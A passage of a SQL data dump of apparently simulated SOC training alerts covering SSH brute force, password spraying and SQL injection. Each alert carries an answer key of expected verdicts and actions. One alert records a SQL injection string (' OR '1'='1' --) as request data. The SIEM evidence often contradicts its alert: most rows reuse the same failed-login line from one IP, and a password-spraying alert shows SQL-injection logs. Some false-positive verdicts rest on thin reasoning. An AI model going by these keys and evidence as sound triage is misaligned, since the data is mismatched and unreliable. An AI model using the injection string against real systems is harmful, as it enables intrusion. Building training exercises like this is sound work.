192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1674, 'Unusual Brute Force Activity from Known Good IP', 'low', 'Elastic SIEM', 'Failed login attempts detected from an IP address previously identified as benign, suggesting potential misconfiguration.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T20:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.140\",\"dst_ip\":\"10.0.0.60\",\"username\":\"admin\",\"hostname\":\"test-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.140\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not associated with any known malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.60\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s clean OSINT result and previous benign reputation indicate a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.946Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T20:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.140\\\",\\\"dst_ip\\\":\\\"10.0.0.60\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"test-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1675, 'Unsuccessful Password Spraying Attempt', 'medium', 'Wazuh', 'An IP address was observed making multiple unsuccessful login attempts across several accounts, potentially indicating a password spraying attempt.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T21:40:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.77\",\"dst_ip\":\"192.168.1.75\",\"username\":\"test\",\"hostname\":\"web-auth\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP flagged due to abnormal activities but not confirmed malicious\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"test\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The suspicious activity was not confirmed as malicious, classifying the event as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.948Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T21:40:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.77\\\",\\\"dst_ip\\\":\\\"192.168.1.75\\\",\\\"username\\\":\\\"test\\\",\\\"hostname\\\":\\\"web-auth\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1676, 'SQL Injection Attempt Detected on Public-Facing Web Server', 'critical', 'Splunk', 'SQL injection attempt detected in a web request targeting a public-facing web server.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T22:50:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.60\",\"dst_ip\":\"10.0.0.80\",\"username\":\"none\",\"hostname\":\"public-web\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The malicious payload and IP reputation confirm the SQL injection attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1677, 'Brute Force Attempt from Internal IP', 'low', 'Azure Sentinel', 'Detected several failed SSH login attempts from an internal IP address, possibly due to misconfigured scripts.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T23:15:20Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"10.0.0.90\",\"username\":\"root\",\"hostname\":\"internal-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, likely misconfigured script\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.90\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The internal source and lack of malicious intent suggest a false positive due to misconfiguration.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1678, 'Password Spraying Attack Detected on Web Portal', 'critical', 'Splunk', 'Detected a password spraying attack against the internal web portal with multiple failed login attempts from an external IP.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:56:12Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"web-portal\",\"failed_attempts\":25}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal username involved in attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has been flagged for malicious activity, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:57:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:56:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:55:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:54:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1679, 'SSH Brute Force Spike Detected', 'high', 'Wazuh', 'A spike in SSH login attempts was detected, indicating a potential brute force attack on the server.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:10:34Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.33\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"ssh-server\",\"failed_attempts\":42}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.33\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in numerous brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Common administrative username\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed attempts from a known malicious IP confirms the brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"},{\"timestamp\":\"2026-03-15T20:57:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"},{\"timestamp\":\"2026-03-15T20:56:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid 